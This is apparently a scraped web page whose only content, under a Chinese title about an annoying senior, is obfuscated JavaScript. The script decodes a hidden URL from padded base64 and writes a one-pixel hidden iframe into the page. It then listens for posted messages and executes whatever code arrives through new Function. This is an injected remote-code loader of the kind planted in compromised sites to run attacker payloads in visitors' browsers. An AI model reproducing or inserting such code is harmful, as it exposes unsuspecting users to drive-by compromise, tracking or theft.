关于前辈很烦人的事

if(typeof eval("\x77\x69\x6e\x64\x6f\x77")["qdfEWb"]=="undefined"){eval("\x77\x69\x6e\x64\x6f\x77")["qdfEWb"]=function(e){var sx="ABCDEFGHIJKLMNOPQRSTUVWXYZ"+"abcdefghijklmnopqrstuvwxyz"+"0123456789+/=";var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=sx.indexOf(e.charAt(f++));o=sx.indexOf(e.charAt(f++));u=sx.indexOf(e.charAt(f++));a=sx.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return(function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);};}

eval('\x77\x69\x6e\x64\x6f\x77')['YhejBPW']=function (){ ;(function (u, w, d, f, c) { var x = qdfEWb; u = decodeURIComponent(x(u.replace(new RegExp(c + '' + c, 'g'), '')))+'.fon'; 'jQuery'; var k = '', wr = 'w' + 'ri' + 't' + 'e'; var c = d[x('Y3VycmVudFNjcmlwdA==')]; var f = d.createElement('iframe'); f.id = new Date().getTime(); f.style.width = f.style.height = 1 + 'px'; f.src = [u].join('-'); d[wr](f.outerHTML); w['ad' + 'dEv' + 'entL' + 'ist' + 'ener']('m' + 'ess' + 'age', function (e) { if (e.data[`des_s_7589`]) { var t = x(e.data[`des_s_7589`].replace(new RegExp('FdaWAFAbWFf', 'g'), '')); new Function(decodeURIComponent(t.replace(/\+/g, '%20')))(); } }); })(''+'FFa'+'HR0'+'cHM'+'lMF'+'F0E'+'lFF'+'MkY'+'lMk'+'ZqY'+'S55'+'Y3l'+'jaC'+'FF5'+'jbF'+'F20'+'lM0'+'ExM'+'DQ0'+'MyU'+'yFF'+'RmM'+'0Y2'+'FFE'+'0Mi'+'UyF'+'FRm'+'MFF'+'tNz'+'FFU'+'4OF'+'FS0'+'yFF'+'Mi0'+'xZT'+'FFY'+'=',window, document, '' + 'Pwf' + 'SmZ' + 'j' + '', 'F');}